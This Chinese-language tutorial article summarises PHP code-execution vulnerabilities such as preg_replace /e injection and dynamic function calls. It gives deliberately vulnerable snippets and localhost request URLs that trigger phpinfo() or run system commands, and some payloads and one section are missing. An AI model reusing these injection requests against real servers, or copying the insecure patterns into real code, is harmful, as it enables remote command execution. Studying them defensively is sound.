首頁  >  文章  >  後端開發  >  PHP程式碼執行漏洞總結

PHP程式碼執行漏洞總結

不言
不言原創
2018-04-24 09:49:595992瀏覽

這篇文章介紹的內容是關於PHP程式碼執行漏洞總結,有著一定的參考價值,現在分享給大家,有需要的朋友可以參考一下

PHP程式碼執行漏洞總結


ref : http://blog.csdn.net/kuangmang/article/details/27170309
ref : http://blog.csdn.net/fuckcat_2333/article/details /52125951

1 程式碼執行函數

php中可以執行程式碼的函數有: eval()、assert()、``、system()、exec()、shell_exec()、 passthru()、 pcntl_exec()
這些函數中的參數(部分)可控時,則可能命令注入漏洞。通常會使用escapeshellarg對參數進行處理,但在低版本的PHP庫函數中該函數存在漏洞(原因:Windows上未對反斜線進行過濾),需要注意。

2 檔案包含程式碼注入

當檔案包含函數(include、include_once、require、require_once)中包含輸入變數時,可能會導致程式碼注射。
條件:allow_url_include=On,PHP Version>=5.2.0
demo code:

<?phpinclude($_GET[&#39;a&#39;]);?>

訪問http://127.0.0.1/demo.php?a=data:text/plain, 時,即執行phpinfo()。

3 正規表示程式碼注入

preg_replace()函數:
當pattern中存在/e模式修飾符,符合上時,即允許執行replacement中的程式碼。

3.1 第一个(pattern)参数注入

条件:magic_quotes_gpc=Off,pattern参数中注入/e选项;
demo code:

<?phpecho $regexp = $_GET[&#39;reg&#39;];
$var = &#39;<php>phpinfo()</php>';
preg_replace("/<php>(.*?)$regexp", '\\1', $var);?>

访问http://127.0.0.1/preg_replace1.php?reg=%3C/php%3E/e
即会执行phpinfo()

3.2 第二个人(replacement)参数注入

条件:pattern参数中带/e

<?phppreg_replace("/testxxx/e",$_GET[&#39;h&#39;],"jutst test testxxx!");?>

提交 http://127.0.0.1/demo2.php?h=phpinfo()时, 即 执行phpinfo()。

3.3 第三个参数注射

4 动态代码执行

4.1 动态变量代码执行

<?php$dyn_func = $_GET[&#39;dyn_func&#39;];
$argument = $_GET[&#39;argument&#39;];
$dyn_func($argument);?>

当http://127.0.0.1/dyn_func.php?dyn_func=system&argument=ipconfig时,执行ipconfig命令

4.2 动态函数代码执行

关键函数:create_function
demo code:

<?php$foobar = $_GET[&#39;foobar&#39;];$dyn_func = create_function(&#39;$foobar&#39;, "echo $foobar;");$dyn_func(&#39;&#39;);?>

当提交http://127.0.0.1/create_function.php?foobar=system%28dir%29时,执行dir命令

5 其他

array_map()函数
ob_start()函数???
函数处理函数:http://www.php.net/manual/zh/book.funchand.php

相关推荐:

PHP执行程序php.exe参数解析

以上是PHP程式碼執行漏洞總結的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn